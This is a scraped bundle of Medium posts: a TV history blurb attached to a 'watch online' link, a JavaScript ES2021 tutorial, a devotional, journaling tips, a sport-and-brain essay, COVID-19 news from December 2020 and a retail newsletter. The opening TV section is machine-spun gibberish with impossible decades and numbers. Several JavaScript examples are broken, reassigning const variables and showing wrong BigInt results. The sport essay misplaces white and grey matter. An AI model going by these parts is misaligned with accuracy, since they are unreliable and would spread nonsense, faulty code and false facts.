TV opened up in unrefined exploratory structures in the last part of the 191s, however it would at present be quite a while before the new innovation would be promoted to customers. After World War II, an improved type of highly contrasting TV broadcasting got famous in the United Kingdom and United States, and TVs got ordinary in homes, organizations, and establishments. During the 1950s, TV was the essential mechanism for affecting public opinion.[1] during the 1915s, shading broadcasting was presented in the US and most other created nations. The accessibility of different sorts of documented stockpiling media, for example, Betamax and VHS tapes, high-limit hard plate drives, DVDs, streak drives, top quality Blu-beam Disks, and cloud advanced video recorders has empowered watchers to watch pre-recorded material, for example, motion pictures — at home individually plan. For some reasons, particularly the accommodation of distant recovery, the capacity of TV and video programming currently happens on the cloud, (for example, the video on request administration by Netflix). Toward the finish of the main decade of the 150s, advanced TV transmissions incredibly expanded in ubiquity. Another improvement was the move from standard-definition TV (SDTV) (531i, with 909093 intertwined lines of goal and 434545) to top quality TV (HDTV), which gives a goal that is generously higher. HDTV might be communicated in different arrangements: 3451513, 3451513 and 3334. Since 115, with the creation of brilliant TV, Internet TV has expanded the accessibility of TV projects and films by means of the Internet through real time video administrations, for example, Netflix, HBO Video, iPlayer and Hulu.
In 113, 39% of the world’s family units possessed a TV set.[3] The substitution of early cumbersome, high-voltage cathode beam tube (CRT) screen shows with smaller, vitality effective, level board elective advancements, for example, LCDs (both fluorescent-illuminated and LED), OLED showcases, and plasma shows was an equipment transformation that started with PC screens in the last part of the 1990s. Most TV sets sold during the 150s were level board, primarily LEDs. Significant makers reported the stopping of CRT, DLP, plasma, and even fluorescent-illuminated LCDs by the mid-115s.[3][4] sooner rather than later, LEDs are required to be step by step supplanted by OLEDs.[5] Also, significant makers have declared that they will progressively create shrewd TVs during the 115s.[1][3][8] Smart TVs with incorporated Internet and Web 3.0 capacities turned into the prevailing type of TV by the late 115s.[9]
TV signals were at first circulated distinctly as earthbound TV utilizing powerful radio-recurrence transmitters to communicate the sign to singular TV inputs. Then again TV signals are appropriated by coaxial link or optical fiber, satellite frameworks and, since the 150s by means of the Internet. Until the mid 150s, these were sent as simple signs, yet a progress to advanced TV is relied upon to be finished worldwide by the last part of the 115s. A standard TV is made out of numerous inner electronic circuits, including a tuner for getting and deciphering broadcast signals. A visual showcase gadget which does not have a tuner is accurately called a video screen as opposed to a TV.
🦋 OVERVIEW 🦋
A subgenre that joins the sentiment type with parody, zeroing in on at least two people since they find and endeavor to deal with their sentimental love, attractions to each other. The cliché plot line follows the “kid gets-young lady”, “kid loses-young lady”, “kid gets young lady back once more” grouping. Normally, there are multitudinous variations to this plot (and new curves, for example, switching the sex parts in the story), and far of the by and large happy parody lies in the social cooperations and sexual strain between your characters, who every now and again either won’t concede they are pulled in to each other or must deal with others’ interfering inside their issues.
Regularly carefully thought as an artistic sort or structure, however utilized it is additionally found in the realistic and performing expressions. In parody, human or individual indecencies, indiscretions, misuses, or deficiencies are composed to rebuff by methods for scorn, disparagement, vaudeville, incongruity, or different strategies, preferably with the plan to impact an aftereffect of progress. Parody is by and large intended to be interesting, yet its motivation isn’t generally humor as an assault on something the essayist objects to, utilizing mind. A typical, nearly characterizing highlight of parody is its solid vein of incongruity or mockery, yet spoof, vaudeville, distortion, juxtaposition, correlation, similarity, and risqué statement all regularly show up in ironical discourse and composing. The key point, is that “in parody, incongruity is aggressor.” This “assailant incongruity” (or mockery) frequently claims to favor (or if nothing else acknowledge as common) the very things the humorist really wishes to assault.
In the wake of calling Zed and his Blackblood confidants to spare The Bachelorette, Talon winds up sold out by her own sort and battles to accommodate her human companions and her Blackblood legacy. With the satanic Lu Qiri giving the muscle to uphold Zed’s ground breaking strategy, The Bachelorette’s human occupants are subjugated as excavators looking for a baffling substance to illuminate a dull conundrum. As Talon finds more about her lost family from Yavalla, she should sort out the certainties from the falsehoods, and explain the riddle of her legacy and an overlooked force, before the world becomes subjugated to another force that could devour each living being.
Claw is the solitary overcomer of a race called Blackbloods. A long time after her whole town is annihilated by a pack of merciless hired soldiers, Talon goes to an untamed post on the edge of the enlightened world, as she tracks the huggers of her family. On her excursion to this station, Talon finds she has a strange heavenly force that she should figure out how to control so as to spare herself, and guard the world against an over the top strict tyrant. | https://medium.com/@hsa3d7/watch-the-bachelorette-series-16-episode-13-on-abc-full-online-c831eaa25d71 | [] | 2020-12-22 02:40:08.107000+00:00 | ['TV Series', 'Startup', 'TV Shows', 'Reality'] |
What new features to expect ? | Image Credit: YouTube
What new features to expect ?
▹ replaceAll()
JavaScript has already a method named replace() . This method is used to replace a string with another value of type string. The replace() method will only replace the the first occurrence. We can use RegExr in order to replace everything or now we can use the replaceAll() function.
const p = 'The quick brown fox jumps over the lazy dog. If the dog reacted, was it really lazy?'; const regex = /dog/gi; console.log(p.replaceAll(regex, 'ferret'));
// expected output: "The quick brown fox jumps over the lazy ferret. If the ferret reacted, was it really lazy?" console.log(p.replaceAll('dog', 'monkey'));
// expected output: "The quick brown fox jumps over the lazy monkey. If the monkey reacted, was it really lazy?"
▹ Private Accessors
By appending # to the function name now we have private accessor functions.
// Private accessor
get #age() { return 42 }
set #age(value) {}
▹ Private Methods
Private method names starts with # . These methods are only available inside the class where it is defined.
class Car { // Private #setType() { console.log("set car type method"); } // Public show() { this.#setType(); } } const car = new Car(); car.show(); // "I am Private"; car.setType(); // TypeError: personObj.setType is not a function
▹ WeakRef
A WeakRef object contains a weak reference to an object, which is called its target or referent. A weak reference to an object is a reference that does not prevent the object from being reclaimed by the garbage collector. In contrast, a normal (or strong) reference keeps an object in memory.
When an object no longer has any strong references to it, the JavaScript engine's garbage collector may destroy the object and reclaim its memory. If that happens, you can't get the object from a weak reference anymore.
const callback = () => {
const aBigObj = new WeakRef({ name: "Test" }); console.log(aBigObj.deref().name);}
(async function(){
await new Promise((resolve) => {
setTimeout(() => {
callback(); // Guaranteed to print "Test"
resolve();
}, 2000);
});
await new Promise((resolve) => {
setTimeout(() => {
callback(); // No Gaurantee that "Test" is printed
resolve();
}, 5000);
});
})();
▹ Finalizers
A FinalizationRegistry object lets you request a callback when an object is garbage-collected. FinalizationRegistry provides a way to request that a cleanup callback get called at some point when an object registered with the registry has been reclaimed.
You create the registry passing in the callback:
const registry = new FinalizationRegistry(heldValue => {
// ....
});
Then you register any objects you want a cleanup callback for by calling the register method, passing in the object and a *held value* for it:
registry.register(theObject, "some value");
▹ Promise.any()
Promise.any() resolves if any of the provided promises is resolved. If no promises fulfill, then the returned promises is rejected with an AggregatorError .
const promise1 = Promise.reject(0);
const promise2 = new Promise((resolve) => setTimeout(resolve, 100, 'quick'));
const promise3 = new Promise((resolve) => setTimeout(resolve, 500, 'slow')); const promises = [promise1, promise2, promise3]; Promise.any(promises).then((value) => console.log(value)); // expected output: "quick"
▹ AggregateError
An AggregateError exception is thrown by Promise.any() when none of the promises are resolved.
Promise.any([
Promise.reject(new Error("some error")),
]).catch(e => {
console.log(e instanceof AggregateError); // true
console.log(e.message); // "All Promises rejected"
console.log(e.name); // "AggregateError"
console.log(e.errors); // [ Error: "some error" ]
});
▹ Logical Assignment Operator
Some of the logical operations are && , || and ?? .Here we combine these operators with assignment.
const a;
const b = a ?? 5;
console.log(b); // 5 const x = 1;
const y = 2;
x ||= y;
console.log(x); // 1 const x = 1;
const y = 2;
x &&= y;
console.log(x); // 2
▹ Numeric separators
This feature allows us to make numeric literals more readable by adding visual separation between digits. Here is a link with more examples.
console.log(1000000); // 1000000 console.log(1_000_000); // 1_000_000 console.log(1_019_436_871.42); // 1019436871.42
Promise.allSettled()
Promise.allSettled() runs all promises regardless of rejection of any promises. Now we can create a new Promise that contains all the promises and the data of each.
const promise1 = Promise.resolve(3);
const promise2 = new Promise((resolve, reject) => setTimeout(reject, 100, 'foo'));
const promises = [promise1, promise2]; Promise.allSettled(promises).
then((results) => results.forEach((result) => console.log(result.status))); // expected output:
// "fulfilled"
// "rejected"
String.prototype.matchAll()
This one is very similar to replace() and replaceAll() . We already have match() available in JavaScript. With matchAll() we can access an iterator that contains all the results matching our string value.
const regexp = /t(e)(st(\d?))/g; const str = 'test1test2';
const array = [...str.matchAll(regexp)]; console.log(array[0]);
// expected output: Array ["test1", "e", "st1", "1"] console.log(array[1]);
// expected output: Array ["test2", "e", "st2", "2"]
Optional Chaining Operator
The optional chaining operator allow us to read the value of a property without having to directly validate the each reference in the chain. The expression short circuits with a return value of undefined .
This way is very easy to write and read the code and you don’t have to do extra work when there is no guarantee as to which properties are required.
const adventurer = {
name: 'Alice',
cat: {
name: 'Dinah'
}
}; const dogName = adventurer.dog?.name;
console.log(dogName);
// expected output: undefined console.log(adventurer.someNonExistentMethod?.());
// expected output: undefined
Dynamic Import 🔥
Dynamic import() introduces a new function-like form of import that caters to those use cases. import(moduleSpecifier) returns a promise for the module namespace object of the requested module, which is created after fetching, instantiating, and evaluating all of the module’s dependencies, as well as the module itself.
We can use async/await instead of the then based callback style because import returns a promise. We can use it with lazy loading.
⚠️ Although import() looks like a function call, it is specified as syntax that just happens to use parentheses (similar to super() ). That means that import doesn’t inherit from Function.prototype so you cannot call or apply it.
Consider the following module, located at ./utils.mjs :
// Default export
export default () => {
console.log('Hi from the default export!');
};
// Named export `doStuff`
export const doStuff = () => {
console.log('Doing stuff…');
};
Here’s how to dynamically import and use the ./utils.mjs module:
<script type="module">
(async () => {
const moduleSpecifier = './utils.mjs';
const module = await import(moduleSpecifier)
module.default();
// → logs 'Hi from the default export!'
module.doStuff();
// → logs 'Doing stuff…'
})();
</script>
BigInt
BigInt is a special numeric type that provides support for integers of arbitrary length. The BigInt can be used by adding n to the end of an integer or by calling the function BigInt that creates bigints from strings, numbers etc. We can’t mix bigints and regular numbers, if needed we should explicitly convert them. BigInt represents a number that is larger than 2^(53) –1 .
const bigInt = 123456789123456789n;
console.log(bigInt +1n);
//9007199254740992n console.log(bigInt +10n);
//9007199254741001n console.log(bigInt +100n);
//9007199254741001n console.log(bigInt +10);
//Error: Uncaught TypeError: Cannot mix BigInt and other types, use explicit conversions
Conclusion
JavaScript is always providing new ways and features to make the code and developers more productive and efficient. It’s very important as a developer to stay up to date with the new features that are released by your favorite programming language. I hope you liked the article and learned something interesting. | https://medium.com/swlh/javascript-es2021-es12-d2798e98bd82 | ['Mihai Dita'] | 2020-12-13 20:57:26.978000+00:00 | ['JavaScript', 'Javascript Tips', 'Programming', 'Javascript Development', 'Web Development'] |
Wash All My Sins Away | The second verse of the old hymn “There is a Fountain Filled with Blood” goes like this:
The dying thief rejoiced to see
That fountain in his day;
And there may I, though vile as he,
Wash all my sins away:
Wash all my sins away,
Wash all my sins away;
And there may I, though vile as he,
Wash all my sins away.
As we sang this song in church this morning, it got me to thinking about how we are not unlike the dying thieves on the crosses with Jesus. We like to think we are good, but we are just as much sinners as they were while the only one who have never committed a sin hung between them. All sin is worthy of punishment by death regardless of what it is. And yet, Jesus blood washes that sin away.
I like to think that things I’ve done are gone as I push them away and yet, they often come back and haunt me. If there’s one constant struggle, it’s that I’m not good enough and that my sins are still there, even though they aren’t. It’s that navel-gazing complex that rears it’s ugly head.
Romans 10:9–10 [9] because, if you confess with your mouth that Jesus is Lord and believe in your heart that God raised him from the dead, you will be saved. [10] For with the heart one believes and is justified, and with the mouth one confesses and is saved. (ESV)
I know this to be true and yet, there is that functional atheism or even just as bad, moral therapeutic deism which is just as bad, sometimes worst. We must be aware that we are sinners, but if we believe in what God has told us in Scripture, we are also saved by His grace. We are no longer slaves to sin. In our fleshly state, we often forget that and continue to beat ourselves up over past sins and sometimes current sins. God’s grace is sufficient that we do not have to do that. They are washed away. I need this reminder daily. We all need this reminder daily. Don’t let your sins define you. As new creations, our identity is in Christ. | https://medium.com/inklings-of-reality/wash-all-my-sins-away-5894d5511ae7 | ['Chris Coppenbarger'] | 2018-08-06 10:14:02.232000+00:00 | ['Christianity'] |
Write About It | You feel like you’re going to explode. You’re frustrated, you’re sad, you’re anxious. There’s so much going on inside your head that you can’t stand to sit there with your thoughts racing anymore.
Pick up a pen and paper and write. There doesn’t need to be any structure to it, you can simply write words or phrases, you can draw a picture, you can scribble out your anger until your pen rips a hole through the paper. But whatever you do, don’t sit there and let your thoughts take over. Ruminating in your thoughts not only makes you feel worse, but it also is not a proactive measure in solving whatever problems you may be facing. Whenever I feel overwhelmed, I take to my journal and let my thoughts spill over onto the page and out of my head.
The act of writing is cathartic. It allows you to process your thoughts and view them with more clarity. It is also a way to tangibly place your thoughts in another space where they can be distanced from you and your identity. After all, you are not your thoughts. You are more than your thoughts. And while you cannot control what you think or feel, you can control your reaction to these things. Writing things down is the first step in generating a more wholesome awareness of your mind.
If you’re not sure how to start writing, keep some of these tips in mind:
How do you feel right now? Check in with your body. Write down your physical sensations as well as your emotional ones.
Write down your craziest thought. Then write down how likely it is that your thought will be made true. Try and rationalize what’s going on inside your head so that you are no longer scared of it.
Sometimes thinking more about your thoughts ends up in a vicious cycle. If you just want to turn your brain off, write about the last time you felt completely content. Describe it in detail — where you were, what you were doing, who you were with. This will give you hope that you can have this feeling again no matter what you may be feeling now.
Write a letter to yourself. Sometimes we just need a little self-compassion to help us get through. And if you’re anything like me, you’re great at giving advice but terrible at taking your own. So, write to yourself as if you were writing to a friend, outlining the next steps you should take.
What is going well in your life right now? I know, it sounds cheesy but it’s a good way to get the good vibes back.
Take it from someone who tends to overthink a lot, finding ways to express the overwhelming feelings you’re experiencing, whether that’s talking to someone else or writing to yourself, is the best way to go. It’s like your own personal book where you can store whatever you want and not be worried about how you come off or who is listening. It’s just a place for you to be you.
A good habit to get into is to journal even when you’re not in a crisis. Journaling when you’re happy and content can be an enjoyable activity for you and will better incorporate the benefits of journaling into your life. It’s nice to write down the good things that happen to you because then you’re not giving all the importance to the bad things — it creates a more balanced representation of your life, one where you recognize both the good and bad and know that both will come and go. And that, regardless, you will be okay. | https://medium.com/@ventovertea/write-about-it-86dab67d14a5 | ['Vent Over Tea'] | 2020-07-01 17:23:38.771000+00:00 | ['Journaling', 'Writing', 'Expression', 'Mental Health', 'Feelings'] |
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Black Lives Don’t Matter In Sport | Black Lives Don’t Matter In Sport
Photo by Mick Haupt on Unsplash
Black lives matter. There is no doubt about that. Black lives are as important as white ones. The empathy showed by those in the Black Lives Matter (BLM) movement has been wonderful, but we must understand empathy before we can make it a central part of playing elite sport.
To answer this we need to look deeper into humans. So, what about what’s inside both black and white people? because this real question prompts us to the answer so, let’s discover it.
What is the Matter?:
Our human brain is made up of neurons. Neurons are the brain cells that receive the information from the senses outside the body and in turn, send messages to areas of our bodies such as our muscles. From this, our muscles can move.
How many neurons are there?:
Well, it’s impossible to know until we look inside your brain. And of course, everyone is different. Still, there are likely over 80 to 100 billion neurons in your head and many of them are getting more active as you read. If, you are wondering how active? then, when it’s dark outside just peak upwards at the night sky and notice the multitude of stars and imagine that each one you see represents a million neurons in your head.
Photo by Robina Weermeijer on Unsplash
Your brain is far more complex than you think. And when you think your brain can alter into an even more complex state.
Although there are many different areas of the brain some of the main differences are that it has both a left and a right hemisphere. Other parts of note are the temporal, occipital, parietal, and frontal lobes of the brain. These areas represent how your brain can be recognized in its variety of various ways. However, another way of seeing the different parts of your brain is in its color. In many ways, two colors dominate your brain’s landscape. These are the brain’s gray and white matter.
The gray and white matter is part of our central nervous system.
What is Gray Brain Matter?:
Gray matter allows information to be processed in your brain. It is made up of neuronal cell bodies that do not have a sheath or cover (unmyelinated axons). Without a sheath, the color appears differently. The axons carry messages and signals between the bodies. The tissues direct motor sensory to nerve cells. Here, a reaction of stimuli occurs. Within the gray mater, energy and nutrients are transported to the neuron of the brain. This defines how healthily the neurons communicate and function overall.
As the gray matter is unmyelinated it has a color that is of a grayish hue and so it is called gray matter.
What is White Brain Matter?:
On the other hand (or part of the brain!) there is white brain matter. These are myelinated (meaning they have a sheath or cover). They communicate with the gray matter. This sheath is a protective covering for the matter.
If you think of a pipe in a house that is covered with a rubber or plastic covering you`ll begin to understand how this sheath can benefit the heating of the house through the transmission of the temperature when it is insulated. Similarly, the myelinated axons are protected and coated and this improves the communication transmitted to the neuronal signals.
Because it has a lagging jacket on it is known to be whitish.
Photo by Josh Riemer on Unsplash
Differences between Gray and White Matter:
Other than the color differences, the white mater is located in the brain’s cortex. Gray matter is located on the brain’s surface. In general, the cerebrum is the part of the brain that looks after trickier brain functions. In large animals who have a spine (or vertebrates) and humans, gray matter is more complicated.
Gray matter-heavy regions involve sensory activity and control muscular areas of the brain.
The cerebellum is an important part of the brain that distinguishes the difference between both matters. The white matter contains small blood vessels and nerve fibers. But, it does not contain neuronal cell bodies.
The cerebellum is the part of the brain that mainly looks after movement. Your control of movement, overall coordination, and how you exact your use of movement is, is looked after in this part of the brain.
The Movement of Sport:
No matter what way you look at it, sport involves movement.
When you think about it, although there many different sports in the world, movement may be the one common factor that all sports have. Games such as snooker and darts are great examples. They have often caused arguments in the public houses where they are played simply because people wonder as to whether or not they are categorized as a sport or a game. Still, both involve some form of movement of their respective players.
To be good at sport you need to be able to control your movement as precisely as you initially intended that movement to be communicated via the message from your brain.
Photo by bruce mars on Unsplash
If your brain is healthy then you are giving yourself the best chance of moving with your best ability. Of course, everyone has a different range of abilities but if developed correctly, the brain has a huge ability to transform the body.
By maximizing the development of your brain, you allow yourself to maximize your ability to perform well in sports.
Why Empathy Makes Us Compete Better:
Although your sporting brain likes movement so too does the emotional part of your brain.
When we read a sad story or watch an uplifting movie we often describe the sensation as being emotionally ‘moving’ for us.
Being moved can scientifically be defined as experiencing a kama muta.
The term Kama muta is sanskrit for being ‘moved by love. Essentially, when we experience an emotional trigger it plays on our deep human feelings and this can then cause us to change. This experience may make us cry, laugh, or a myriad of other feelings. Simply put though, it can ‘move’ us.
This is where empathy plays its part.
Empathy allows us to take action on our feelings. When we feel like humans we are moved into action. When we move, we are acting like our brains want us to act. After all, this is what great sports people do, they move.
Photo by Alexander Schimmeck on Unsplash
But when we feel something so profound that it demands us to react and we do not, we are using control. If the emotion is perceived by us to be stronger than we can manage then we will act out this emotion in some way in the future.
Empathy is acknowledging that we understand the feeling of others, but it is also acknowledging that you understand your feelings. By understanding your feelings you are benefiting those around your sports team, and even actively acknowledging your coach’s wishes within an individual sport.
If you want to improve at sport allow yourself to be moved and then show empathy. | https://medium.com/@drconorhogan/black-lives-dont-matter-in-sport-e04f5cc335fa | ['Dr. Conor Hogan Ph.D.'] | 2020-12-23 15:53:40.458000+00:00 | ['Sport Psychology', 'Empathy', 'Black Lives Mater', 'Brain Body', 'Empathy In Sport'] |
Coronavirus updates: Moderna vaccine gets thumbs-up; COVID-19 now nation’s leading cause of death, editorial says | USA TODAY is keeping track of the news surrounding COVID-19 as vaccines begin to roll out nationwide. Just this week, the U.S. marked the stark milestone of more than 300,000 deaths since the beginning of the pandemic. Keep refreshing this page for the latest updates on vaccine distribution, including who is getting the shots and where, as well as other COVID-19 news from across the USA TODAY Network. Sign up for our Coronavirus Watch newsletter for updates directly to your inbox, join our Facebook group or scroll through our in-depth answers to reader questions for everything you need to know about the coronavirus.
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In the headlines:
► The Moderna COVID-19 vaccine cleared a major hurdle Thursday when it got the overwhelming support of an advisory committee to the U.S. Food and Drug Administration, the second vaccine to be authorized in about a week. Committee members voted 20–0 with one abstention in favor of the Moderna vaccine, which uses a similar technology as the one developed by Pfizer and BioNTech. It could receive emergency use authorization by Friday.
► California legislators will consider a newly introduced bill that would give farmworkers, grocery store employees and other food sector workers priority for getting the COVID-19 vaccine and rapid testing.
► French President Emmanuel Macron has tested positive for COVID-19. He joins President Donald Trump and British Prime Minister Boris Johnson among world leaders who have been infected.
► Rep. Joe Wilson, the Republican from South Carolina who earned notoriety when he yelled “You lie!’’ during President Barack Obama’s address to Congress in 2009, said he has tested positive for the coronavirus and doesn’t have symptoms.
► New York City-run hospitals canceled elective surgeries as of Tuesday in anticipation of increased hospitalizations due to COVID-19, Dr. Mitchell Katz, CEO of NYC Health + Hospitals, said Thursday. There were almost 11,000 new COVID-19 cases Wednesday across New York, with hospitalizations reaching over 6,100, Gov. Andrew Cuomo announced.
► California on Wednesday reported more than 53,000 new coronavirus cases and 293 deaths. Los Angeles County Public Health Director Barbara Ferrer said two people are dying every hour in the county. “We’re experiencing an explosive and very deadly surge,” she said.
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► The NFL plans to honor health care workers by inviting workers who have been vaccinated to attend the Super Bowl in Tampa as a thank-you for being on the frontline of the coronavirus pandemic.
📈 Today’s numbers: The U.S. has 17.1 million confirmed coronavirus cases and 309,000 deaths. The global totals: More than 74.4 million cases and 1.65 million deaths.
Here’s a closer look at today’s top stories:
COVID-19 now more deadly than heart disease and cancer
COVID-19 has surpassed heart disease and cancer as the leading cause of death in the U.S., according to an editorial published Thursday in the Journal of the American Medical Association.
Researchers from Virginia Commonwealth University make the point that the surge in COVID-19 fatalities, from a weekly average of 826 daily deaths in November to more than 2,400 now, has turned the illness caused by the coronavirus into the nation’s №1 killer. Heart disease and cancer averaged about 1,700 and 1,600 daily deaths, respectively.
Wednesday’s 3,656 COVID-19 deaths were the most recorded in any day of the pandemic.
“It’s been a long time since an infectious disease was the leading cause of death for the whole country,” said Dr. Steven Woolf, lead author of the editorial and director emeritus of VCU’s Center on Society and Health. “And it’s a tragic milestone we could’ve prevented.”
America breaks at least 4 COVID-19 records
On Wednesday, the U.S. set several records for new cases and deaths, according to a USA TODAY analysis of Johns Hopkins data:
Single-day record for deaths and cases: With 247,403 new cases and 3,656 deaths reported Wednesday, the U.S. surpassed its single-day records by 14,000 cases and 350 deaths, set Dec. 11.
With 247,403 new cases and 3,656 deaths reported Wednesday, the U.S. surpassed its single-day records by 14,000 cases and 350 deaths, set Dec. 11. Worst week of cases: 1,510,106 were recorded as of Wednesday. At that rate, 150 Americans test positive every minute.
1,510,106 were recorded as of Wednesday. At that rate, 150 Americans test positive every minute. Worst week for deaths: 17,988 people died during the 7-day period ending Wednesday, surpassing the record set just the day before. At that pace an American is reported dead about every 34 seconds.
– Mike Stucka
Americans welcome vaccine, but many prefer to wait before getting it
Vaccine hesitancy may be down, but vaccine delay remains firmly in place.
Polls show Americans are warming up to the notion of getting a COVID-19 vaccine, with the number in favor rising from about 50% a few months ago to more than 80% in an ABC News/Ipsos poll released Monday. However, that same survey found 44% would wait before getting the new shot.
Experts say that even though the vaccine was developed in record time — less than a year — Americans can feel confident that it’s safe and effective.
“Your chances of getting sick or dying is much greater going to the grocery store than going to get a vaccine,” said Barry Bloom, research professor of public health and former dean of Harvard T.H. Chan School of Public Health.
— Adrianna Rodriguez
FDA says Pfizer’s COVID-19 vaccine vials may hold extra doses
The U.S. might have more doses of Pfizer’s COVID-19 vaccine than it thought. While each Pfizer vial is supposed to hold five doses of the first vaccine authorized for emergency use by the Food and Drug Administration, Politico was first to report on Wednesday that pharmacists have discovered some vials may have extra doses, potentially adding to the country’s supply.
“The amount of vaccine remaining in the multidose vial after removal of 5 doses can vary, depending on the type of needles and syringes used,” a Pfizer spokesperson told USA TODAY in a statement. “At this time, we cannot provide a recommendation on the use of the remaining amount of vaccine from each vial. Vaccinators need to consult their institution’s policies for the use of multidose vials.”
The FDA has authorized hospital pharmacists to use the extra doses while the agency works with Pfizer officials to “determine the best path forward.”
Twitter cracks down on COVID-19 vaccine misinformation
With coronavirus vaccine misinformation spreading via social media at an alarming rate, Twitter said it would remove claims that vaccines intentionally cause harm or are unnecessary, as well as debunked conspiracy theories about the adverse effects of vaccines. The policy shift, slated to begin next week, comes as COVID-19 immunizations begin in the United States.
Researchers warn that opposition to the vaccines is resonating, not just with fringe anti-vaccine communities but with swaths of mainstream America, whose faith in science and government has been badly shaken by the pandemic.
“In the context of a global pandemic, vaccine misinformation presents a significant and growing public health challenge,” Twitter said in a blog post. “Starting next week, we will prioritize the removal of the most harmful misleading information, and during the coming weeks, begin to label Tweets that contain potentially misleading information about the vaccines.” | https://medium.com/@snpranto8/coronavirus-updates-moderna-vaccine-gets-thumbs-up-covid-19-now-nations-leading-cause-of-death-2b7bd7b867b3 | [] | 2020-12-18 00:37:23.448000+00:00 | ['Today', 'Updates', 'Coronavirus'] |
Retail Industry Weekly Newsletter (12.13.21) | TIPS & INSIGHTS
➜ Venture capital firms set aside $1 billion for women-led startups. Here’s how it’s going
➜ The pandemic highlights the importance of investing in women
➜ Gordon Ramsay moves restaurant HQ to Texas from California as his huge brand expansion plans start to take shape
➜ Securing the metaverse — What’s needed for the next chapter of the internet
➜ 3 keys to operationalizing startup sales from day one
➜ Venture funding to booze startups boomed this year, but will the buzz linger?
➜ 7 innovative brands speaking at NRF 2022: Retail’s Big Show
➜ $1B+ market map: The world’s 936 unicorn companies in one infographic
➜ ‘Play-to-Earn’ gaming and how work is evolving in Web3
MACROECONOMY & INDUSTRY
➜ How do you feel about inflation? The answer will help determine its longevity: Supply-chain disruptions, labor shortages and climbing oil prices have pushed inflation to a 39-year-high. But attention is now focused on another variable: Do people think inflation is here for a while? Because people’s expectations can factor into inflation, the answer plays a critical role in determining how the Federal Reserve and the administration manage the rising numbers — and how soon and how much the Fed will raise interest rates.
TOP RETAIL TECH STORIES
➜ Headless Commerce: Part 1 — The Evolving State of E-Commerce Infrastructure: Coresight Research and Nogin’s three-part report series, Headless Commerce, explores the emerging commerce-as-a-service (CaaS) space in the US and the key trends in the market. We leverage findings from an October 2021 Coresight Research survey of e-commerce leaders in the US to identify the key challenges and benefits in building and using e-commerce infrastructure and tools.
➜ DoorDash introduces ultra-fast grocery delivery, new approach to labor: Boasting delivery times in as little as 10 minutes, DoorDash has launched a grocery delivery service from its DashMart location in Manhattan’s Chelsea neighborhood. The offering of items available for delivery is limited to 2,000 fresh and frozen grocery staples, snacks, household goods, and local products. Initially, the speedy deliveries will be offered from a new DashMart location in Chelsea, with more locations and partners coming over the next few months. DoorDash introduced DashMarts in eight markets in 2020. New Yorkers also turn to a rapidly expanding set of so-called “instant needs” companies such as Jokr, Buyk and GoPuff, who promise rapid deliveries on a limited range of items, typically in markets with high population densities.
➜ Walmart adds science-based targets to supply chain financing option: Walmart announced Wednesday it has added science-based targets to its supply chain finance program, with the aim of helping smaller and mid-size companies make their operations more sustainable. Walmart worked with HSBC and CDP, a nonprofit that helps companies and cities with their environmental impact disclosures, on changes that provide smaller suppliers access to special financing for their sustainability efforts. Walmart said the new finance program for suppliers marks a “key” step in its efforts, called Project Gigaton, to cut 1 gigaton of greenhouse gas emissions from its global supply chain by 2030.
➜ Zippin brings checkout-free tech to JFK airport store: As more retail tech companies roll out cashierless tech tools, JFKIAT, which runs Terminal 4 at John F. Kennedy International Airport, has partnered with Zippin and SSP America to integrate Zippin’s A.I. technology into Camden Food Express at Gate B 42, according to information emailed to Retail Dive. When shoppers pass through a turnstile, they can tap their credit card, and Zippin’s A.I. technology will identify and track the items they pick. Once they leave, their credit card will be charged for the cost of the goods they chose. About 100 Zippin-powered stores are expected in train stations and airports by the end of next year, according to the company.
➜ Buy now pay later boom shows no signs of slowing this holiday season: 7% of shoppers said they will be using buy now, pay later as a payment method for holiday purchases this year, according to a CNBC/Momentive Small Business Survey. The credit card alternative has exploded in popularity as online shopping has boomed during the pandemic and more retailers and payment providers have adopted it. The use of BNPL globally during Cyber Week — from Nov. 23 to Monday — jumped 29% year over year, according to Salesforce data.
➜ Walmart’s former e-commerce head is now CEO of food startup Wonder: Marc Lore, who is credited with transforming Walmart’s e-commerce operations, is going “all in” on his latest tech-driven venture, which features an on-demand food truck business called Wonder. Wonder trucks deliver made-to-order meals ordered online through the Wonder app directly to the customer’s home. Each truck is equipped with a mobile kitchen, with a chef who completes the meals once the vehicle arrives at the customer’s home. The chef places the meal on a foldable tray table at their door. The entire process is contactless.
➜ Alibaba rolls its marketplace businesses into a single organization: Alibaba Group, operator of global marketplace platform Alibaba.com, is shaking up the ranks of its senior executives. And the shuffling does include the realignment of B2B marketplace operations. In a letter to employees today, Alibaba Group Chairman and CEO Daniel Zhang announced that all its global business-to-consumer and B2B marketplace operations will be folded into a new business unit: International Digital Commerce.
➜ Zara lands in the metaverse with South Korean label Ader Error: Zara has taken the leap into the metaverse with South Korean label Ader Error to launch its first collaborative project which explores the metaverse and virtual reality. According to Ader in a release, the AZ Collection is ‘inspired by the identities and uniqueness of all generations from A to Z, blurring the boundaries between the virtual and real worlds, and features the lives of young people who pioneer their own Persona.’ Alongside its physical apparel range, the collaborative project is available through the Zepeto platform, which is already being used by the likes of Ralph Lauren, Disney and Nike, where users can purchase digital versions of the clothes and makeup for their avatars.
TOP RETAIL STORIES
➜ Holiday shopping? Check out some of the Dallas area’s most interesting new stores: The long holiday weekend proved that stores are still important to shoppers, at least this time of year. Optimistic retailers banked on consumers heading back to stores as the restrictions of the pandemic eased. From pop-ups to permanent locations and relocations, local entrepreneurs and national chains have committed to new stores in the Dallas area. Some concepts are driven by people who quit or were forced from their day jobs and started their own businesses. Creative sorts have filled new collaborative spaces, such as MKT Dallas in West Village and Mosaic Makers in the Bishop Arts District. Both have opened second stores in Galleria Dallas.
➜ Activist firm Engine Capital pressures Kohl’s to consider sale or online separation: The New York-based hedge fund Engine Capital wants Kohl’s to explore the two alternatives to try to boost its stock price, it said in a letter sent to Kohl’s board that was published publicly on Monday. Engine Capital owns a roughly 1% stake in Kohl’s. Engine Capital said in its letter that assuming Kohl’s brings in online sales revenue of about $6.2 billion, Kohl’s digital business alone would be worth $12.4 billion. Engine Capital also said it believes that there are private equity firms that would pay at least $75 per share for the retailer
